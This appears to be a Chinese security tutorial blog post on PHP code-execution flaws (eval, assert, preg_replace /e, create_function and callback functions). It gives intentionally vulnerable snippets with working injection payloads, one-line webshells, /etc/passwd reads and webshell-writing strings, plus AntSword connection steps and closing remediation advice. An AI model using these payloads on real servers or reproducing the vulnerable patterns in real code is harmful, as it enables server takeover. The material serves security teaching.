代码执行漏洞 + antsword(蚁剑)调试应用

目录

代码执行漏洞概述

代码执行漏洞成因

代码执行漏洞的危害

代码执行漏洞的利用

 1.eval()

1)eval()(静态调用)引出蚁剑的用法

      蚁剑基本用法        

      配置蚁剑代理抓取文件

      蚁剑连接数据库

2) eval()函数漏洞利用 - 1

3)eval()函数漏洞利用 - 2 

4)eval()函数漏洞利用 - 3

      ${ } - {}中的内容优先执行

5)PHPCMS中,常用的string2array函数

2.Assert()

eval()与assert()的区别

 3.preg_replace() + /e

反/后向引用

4.creat_function()

1)creat_function()函数利用 -1

2)creat_function()函数利用 -2

5.array_map()

6.call_user_func()

7.call_user_func_array()

8.array_filter()

9.usort ()

        代码执行漏洞的防御及修复


代码执行漏洞概述

概念:代码执行漏洞是指应用程序本身过滤不严,攻击者可以通过请求将代码注入到应用中,最终在web服务器上去执行。类似我们常见的SQL注入,是将SQL语句带入数据库查询,而我们的代码注入,则是将代码注入到脚本中让应用对代码进行解析,其危害直接相当于一个WEB后门的存在!远程代码执行实际上就是调用服务器网站代码进行执行。

代码执行漏洞成因

由于服务端存在执行的函数,在使用的过程中没有做好一个严格的控制,造成了实际的参数在客户端中可控

代码执行漏洞的危害

  • 执行任意代码
  • 向网站写WebShell
  • 控制整个网站甚至服务器

代码执行漏洞的利用

 1.eval()

         注意:eval 是一个语言构造器而不是一个函数,不能被可变函数调用。

        1)eval()(静态调用)引出蚁剑的用法


把字符串 code 作为PHP代码执行。 该字符串必须是合法的 PHP 代码,且必须以分号结尾。

<?php

    $code = $_GET['code'];
    eval($code);

?>

         蚁剑基本用法        

 

                 配置蚁剑代理抓取文件

 PHPstorm XDEBUG调试环境搭建

         蚁剑连接数据库

 注:可以通过抓取群文件同样的步骤分析其实现过程及原理

2) eval()函数漏洞利用 - 1

<?php

    $data = $_GET['data'];
    $code = " \$ret = $data; " ;
    eval($code);  // eval()相当于直接执行 $ret=输入函数
    echo $ret ;

?>

目标:可以输出 phpinfo() 并 连接蚁剑

?data=eval($_GET[1])&1=echo'123';

 

 
 3)eval()函数漏洞利用 - 2 

<?php
    //关闭方法
//    $data = $_GET['data'];
//    eval(" \$ret = strtolower('$data'); " );
//    echo $ret ;

//     上下两段代码效果完全相同,为方便代码分析,使用下面的代码

    $data = $_GET['data'];
    $code = " \$ret = strtolower('$data'); ";
    eval($code);
    echo $ret;


?>

?data=');eval($_GET[1]);('&1=phpinfo();

4)eval()函数漏洞利用 - 3

      ${ } - {}中的内容优先执行

<?php

//关闭方法
//    $data = $_GET['data'];
//    eval(" \$ret = strtolower(\"$data\"); " );
//    echo $ret ;

//     上下两段代码效果完全相同,为方便代码分析,使用下面的代码

$data = $_GET['data'];
$code = " \$ret = strtolower(\"$data\"); ";
eval($code);
echo $ret;

?>
/?data=${phpinfo()}  ${}中的内容优先执行

要求 :PHP版本 >= 5.5

/?data=");phpinfo();("

 使用 /?data=");phpinfo();(" 步骤同eval()函数漏洞利用 - 2

这里以 ${} 为例

?data=${eval($_GET[1])}&1=phpinfo();

 5)PHPCMS中,常用的string2array函数

<?php

    $data = "array('a'=>'aaaa',
    'b'=>'2222',
    'c'=>'',
    111 => $_GET[cmd],
    222=>'22'
    )";

//    eval("\$arr = $data;");
    $code = "\$arr = $data;";
    eval($code);

?>

绕过:?cmd=1,eval($_GET[1])&1=phpinfo();

2.Assert()


<?php

    $str = $_GET['input'];
    assert($str);

?>

        eval()与assert()的区别

eval()   函数中参数时字符串
         值必须加上 ;结尾
例:eval( 'phpinfo() ;' ) ;

assert() 函数中参数为表达式(或者为函数)
         把传入的参数直接当成PHP代码执行,不需要以 ; 结尾,当然加上也可以。
例:assert( phpinfo() ) ;

 蚁剑连接:同上eval()

 3.preg_replace() + /e

preg_replace — 执行一个正则表达式的搜索和替换

<?php

    $data = $_GET['data'];
    echo preg_replace( "/test/e" ,  $data,   "This is a test !" )
//                      pattern   replacement    subject
// 搜索 subject 中匹配 pattern 的部分,以 replacement 进行替换。

?>

重点: pattern 部分是否有 e
      有 e replacement部分会以php代码的形式被执行
      没有 e replacement部分不会以php代码的形式被执行

使用 preg_replace 进行代码执行的先决条件:
    1.搜索 subject 中匹配 pattern 的部分必须存在。
    2.pattern模式必须带上 e
    3.PHP版本 <= 5.6
    4.replacement 部分可控。

<?php

    $data = $_GET['data'];
    preg_replace('/<data>(.*)<\/data>/e', $ret=("\\1"),$data);
    echo $ret;

?>


e:以PHP代码执行内容
i:不区分大小写
s:区分大小写

         反/后向引用

                                反/后向引用
PHP官方解释:
replacement 中可以包含后向引用 \\n 或 $n,语法上首选后者。 每个这样的引用将被匹配到的第 n 个捕获子组捕获到的文本替换。 n 可以是0-99,\\0 和 $0 代表完整的模式匹配文本。捕获子组的序号计数方式为:代表捕获子组的左括号从左到右, 从1开始数。如果要在 replacement 中使用反斜线,必须使用 4 个("\\\\",译注:因为这首先是 PHP 的字符串,经过转义后,是两个,再经过正则表达式引擎后才被认为是一个原文反斜线)。

当在替换模式下工作并且后向引用后面紧跟着需要是另外一个数字 (比如:在一个匹配模式后紧接着增加一个原文数字),不能使用 \\1 这样的语法来描述后向引用。比如,\\11将会使preg_replace() 不能理解你希望的是一个 \\1 后向引用紧跟一个原文 1,还是一个 \\11 后向引用后面不跟任何东西。 这种情况下解决方案是使用 ${1}1。这创建了一个独立的 $1 后向引用, 一个独立的原文 1。

当使用被弃用的 e 修饰符时, 这个函数会转义一些字符 (即:'、"、 \ 和 NULL) 然后进行后向引用替换。当这些完成后请确保后向引用解析完后没有单引号或双引号引起的语法错误 (比如: 'strlen(\'$1\')+strlen("$2")')。确保符合 PHP 的 字符串语法,并且符合 eval 语法。因为在完成替换后,引擎会将结果字符串作为 PHP 代码使用 eval 方式进行评估并将返回值作为最终参与替换的字符串

理解:
对一个正则表达式模式或部分模式 两边添加圆括号 将导致相关 匹配存储到一个临时缓冲区 中,所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。缓冲区编号从 1 开始,最多可存储 99 个捕获的子表达式。每个缓冲区都可以使用 ‘\n’ 访问,其中 n 为一个标识特定缓冲区的一位或两位十进制数。

4.creat_function()

            create_function()函数解释 --PHP官方

create_function —创建匿名(lambda 风格)函数

说明
create_function ( string $args , string $code ):字符串
根据传递的参数创建一个匿名函数,并为其返回一个唯一的名称。

警告
此函数在内部执行eval(),因此具有与eval()相同的安全问题。此外,它具有较差的性能和内存使用特性。
如果您使用 PHP 5.3.0 或更新版本,则应使用本机 匿名函数。

参数
通常这些参数将作为单引号分隔的字符串传递。使用单引号字符串的原因是为了保护变量名不被解析,否则,如果使用双引号,则需要对变量名进行转义,例如\$avar.

args
函数参数。

code
功能代码。

返回值
以字符串形式返回唯一的函数名称,或false在出错时返回。

理解:
    create_function函数相当于把第一个参数放到一个函数的形参,第二个参数来充当该函数的方法体
    需要注意的是:该改方法体的 } 根函数的方法体的内容在同一行。

        1)creat_function()函数利用 -1

create_function()函数:
<?php

    error_reporting(0);
    $sort_by = $_GET['sort_by'];
    $sorter = 'strnatcasecmp';
    $sort_function = 'return 1 * ' . $sorter . '($a["'. $sort_by .'"], $b["' . $sort_by . '"]);';
    $func = create_function('$a,$b',$sort_function);
    $func(1,$sort_by);

?>

利用:http://127.0.0.1/test.php?sort_by="]);}phpinfo();//
      http://127.0.0.1/test.php?sort_by="],eval($_GET[1]));}//&1=phpinfo();

原理:    $sort_function = 'return 1 * ' . $sorter . '($a[""],eval($_GET[1]));} //'. $sort_by .'"], $b["' . $sort_by . '"]);';

漏洞利用:
    1)一句话木马
        { ${ @eval($_POST[1]) }}
    2)获取当工作路径
        { ${ exit(print(getcwd()))}}
    3)读文件
        { ${ exit(var_dump(file_get_contents($_POST[1])))}}  // 1=/etc/passwd
    4)写 Webshell
        { ${file_put_contents($_POST[1],$_POST[0])}}   // 1=1.php&0=111111

        2)creat_function()函数利用 -2

<?php

    $data = $_GET['data'];
    $code = "return(strlen(\$a) - strlen(\$b) + "."strlen($data));";
    $lambda = create_function('$a,$b', $code );
    $array = array('reall long string here,boy', 'this' ,'midding length' , 'larget');
    usort($array,$lambda);

?>


利用:?data='a'));};phpinfo();//
     ?data='a') %2B eval($_GET[1]) );}// 

原理:
    $code = "return(strlen(\$a) - strlen(\$b) + "."strlen('a') %2B eval($_GET[1]) );}// ));";  
    注:此处的 %2B 为 + 的 url 编码。
        } 时为了闭合创建匿名函数时的 {     

 

 5.array_map()

            PHP官方解释

array_map
    (PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)
    array_map — 为数组的每个元素应用回调函数

说明
    array_map(callable $callback, array $array, array ...$arrays): array
    array_map():返回数组,是为 array 每个元素应用 callback函数之后的数组。 array_map() 返回一个 array,数组内容为 array1 的元素按索引顺序为参数调用 callback 后的结果(有更多数组时,还会传入 arrays 的元素)。 callback 函数形参的数量必须匹配 array_map() 实参中数组的数量。

参数
    callback
    回调函数 callable,应用到每个数组里的每个元素。
    多个数组操作合并时,callback 可以设置为 null。 如果只提供了 array 一个数组, array_map() 会返回输入的数组。

    array
    数组,遍历运行 callback 函数。

    arrays
    额外的数组列表,每个都遍历运行 callback 函数。

返回值
    返回数组,包含 callback 函数处理之后 array (有多个数组时,为 arrays) 对应索引所有元素作为函数的参数。
    当仅仅传入一个数组时,返回的数组会保留传入参数的键(key)。 传入多个数组时,返回的数组键是按顺序的 integer。

                    理解
array_map()函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。
回调函数接受的参数数目应该与传递给 array_map() 函数的数组数目一致。
<?php

    $func = $_GET['func'];
    $cmd = $_GET['cmd'];
    $array[0] = $cmd ;
    $new_array = array_map($func,$array);
    echo $new_array;

?>

利用:?func=assert&cmd=phpinfo();
     ?func=assert&cmd=eval($_GET[1])&1=phpinfo();

 

6.call_user_func()

                  PHP官方解释

call_user_func — 把第一个参数作为回调函数调用

说明
call_user_func(callable $callback, mixed $parameter = ?, mixed $... = ?): mixed
第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。

参数
callback
将被调用的回调函数(callable)。

parameter
0个或以上的参数,被传入回调函数。

注意:

请注意,传入call_user_func()的参数不能为引用传递。
<?php

    $data = $_GET['data'];
    $cmd = $_GET['cmd'];
    $ret = call_user_func($data ,$cmd);
    echo $ret;
?>

利用:?data=assert&cmd=eval($_GET[1])&1=phpinfo();

 7.call_user_func_array()

                    PHP官方解释

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

call_user_func_array — 调用回调函数,并把一个数组参数作为回调函数的参数

说明
call_user_func_array(callable $callback, array $param_arr): mixed
把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入。

参数
callback
被调用的回调函数。

param_arr
要被传入回调函数的数组,这个数组得是索引数组。

返回值
返回回调函数的结果。如果出错的话就返回false
<?php

    $data = $_GET['data'];
    $cmd = $_GET['cmd'];
    $code[0] = $cmd;
    $ret = call_user_func_array($data ,$code);
    echo $ret;
?>

利用:同 call_user_func()

 8.array_filter()

                    PHP官方解释

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

array_filter — 使用回调函数过滤数组的元素

说明
array_filter(array $array, ?callable $callback = null, int $mode = 0): array
遍历 array 数组中的每个值,并将每个值传递给 callback 回调函数。 如果 callback 回调函数返回 true,则将 array 数组中的当前值返回到结果 array 数组中。

返回结果 array 数组的键名(下标)会维持不变,如果 array 参数是索引数组,返回的结果 array 数组键名(下标)可能会不连续。 可以使用 array_values() 函数对数组重新索引。

参数
array
要遍历的数组

callback
使用的回调函数

如果没有提供 callback 回调函数,将删除数组中 array 的所有“空”元素。 有关 PHP 如何判定“空”元素,请参阅 empty() 。

mode
决定哪些参数发送到 callback 回调的标志:

ARRAY_FILTER_USE_KEY - 将键名作为 callback 回调的唯一参数,而不是值
ARRAY_FILTER_USE_BOTH - 将值和键都作为参数传递给 callback 回调,而不是仅传递值
默认值为 0 ,只传递值作为 callback 回调的唯一参数。
返回值
返回过滤后的数组。
<?php

    $data = $_GET['data'];
    $cmd = $_GET['cmd'];
    $code[0] = $cmd;
    $ret = array_filter($code ,$data);
    echo $ret;

?>

注:该函数类似于 call_user_func_array() 函数 
    区别:改函数首个参数返回的是要遍历的组,其次是要使用的回调函数。
          call_user_func_array() 函数恰好相反。

利用:参照 call_user_func_array() 函数
           

9.usort ()

                    usort PHP官方解释

(PHP 4, PHP 5, PHP 7, PHP 8)

usort — 使用用户自定义的比较函数对数组中的值进行排序

说明
usort(array &$array, callable $callback): bool
本函数将用用户自定义的比较函数对一个数组中的值进行排序。 如果要排序的数组需要用一种不寻常的标准进行排序,那么应该使用此函数。

注意:

如果两个成员完全相同,那么它们在排序数组中的相对顺序是未定义的。

注意: 此函数为 array 中的元素赋与新的键名。这将删除原有的键名,而不是仅仅将键名重新排序。

参数
array
输入的数组

callback
在第一个参数小于,等于或大于第二个参数时,该比较函数必须相应地返回一个小于,等于或大于 0 的整数。

callback(mixed $a, mixed $b): int
警告
Returning non-integer values from the comparison function, such as float, will result in an internal cast to int of the callback's return value. So values such as 0.99 and 0.1 will both be cast to an integer value of 0, which will compare such values as equal.

返回值
成功时返回 true, 或者在失败时返回 false。
<?php

    $data = $_GET['data'];
    $arr[0] = $data;
    $arr[] = 'x';

    function cmp_func($a,$b){
        @assert($a);
        @assert($b);
    }

    usort($arr,'cmp_func');
?>

利用:?data=eval($_GET[1])&1=phpinfo();

 

 代码执行漏洞的防御及修复

        1、使用json保存数组,当读取时就不需要使用eval了
        2、对于必须使用eval的地方,一定严格处理用户数据(白名单、黑名单)
        3、字符串使用单引号包括可控代码,插入前使用addslashes转义(addslashes、魔数引号、htmlspecialchars、 htmlentities、mysql_real_escape_string)
        4、放弃使用preg_replace的e修饰符,使用preg_replace_callback()替换(preg_replace_callback())
        5、若必须使用preg_replace的e修饰符,则必用单引号包裹正则匹配出的对象(preg_replace+正则)

  • 10
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值